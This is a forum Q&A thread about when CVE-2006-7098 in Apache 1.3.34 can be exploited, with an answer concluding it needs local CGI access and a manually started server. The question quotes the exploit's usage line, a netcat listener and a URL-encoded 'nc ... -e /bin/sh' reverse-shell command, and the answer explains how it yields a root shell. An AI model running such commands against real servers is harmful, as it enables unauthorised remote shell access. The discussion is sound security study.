1

I'm studying the vulnerabilities of an old version of Apache, the 1.3.34. And I don't quite understand in what exact situation the CVE 2006-7098 vulnerability can be exploited. The README included in the exploit states that:

Local attacker can influence Apache to direct commands into an open tty owned by user who started apache process, usually root. This results in arbitrary command execution. Notes: Must have CGI execution privileges and service started manually by root via shell.

Usage: nc -vvv -l -p 31337 http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d

At the beginning I understood that the vulnerability could be exploited from another machine in the same network of the vulnerable server. So from this other machine (attacker) I:

  • compiled the cgipwn exploit and installed it in the cgi-bin of the attacker machine apache.
  • executed the nc command from the attacker machine specifying -p as the port where the attacker apache listens to, webserver as the attacker machine IP and myhost as the server with the vulnerability.

But I've not succeeded: the command just doesn't return anything.

So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce a lot the applicability of the attack).

Could any body shed some light on this?

1

So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce a lot the applicability of the attack).

Yes, you're right. Actually webserver is a target server with that vulnerability, myhost is an attacker's machine.

By placing cgipwn binary in webserver's /cgi-bin directory and opening http://webserver/cgi-bin/cgipwn?..., attacker attempts to execute nc myhost 31337 /bin/sh on webserver, as a user who started Apache (usually root).

Attacker previously runs nc -vvv -l -p 31337 on myhost so that it can accept that nc connection from webserver. If everything goes well, attacker gets access to an interactive session of /bin/sh running as Apache starter user on webserver.

| improve this answer | |
  • Thanks for your answer Yaegashi. If webserver is the target (vulnerable server) then the cgipwn must be first deployed in the vulnerable server. So the question is how this can be done (unless the hacker has an account with apache directory permission, it's not trivial). So, this vulnerability can only be exploited in the rare case that the hacker is an apache administrator of the target machine? – Toni Jun 3 '15 at 12:26
  • 1
    Yes, I could agree with almost everything you stated here. So-called "local vulnerability/exploit" mentioned in security advisories generally has the same nature I think. Regarding this vulnerability, because any user who can run CGI executable can attack it, I might have to rate it dangerous under such settings which are commonly seen at shared web hosting services. However the last condition, apache process needs to run from tty (interactively by admin), is not likely true on production systems. After all I could say this vulnerability is harmless in most situations. – yaegashi Jun 3 '15 at 13:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.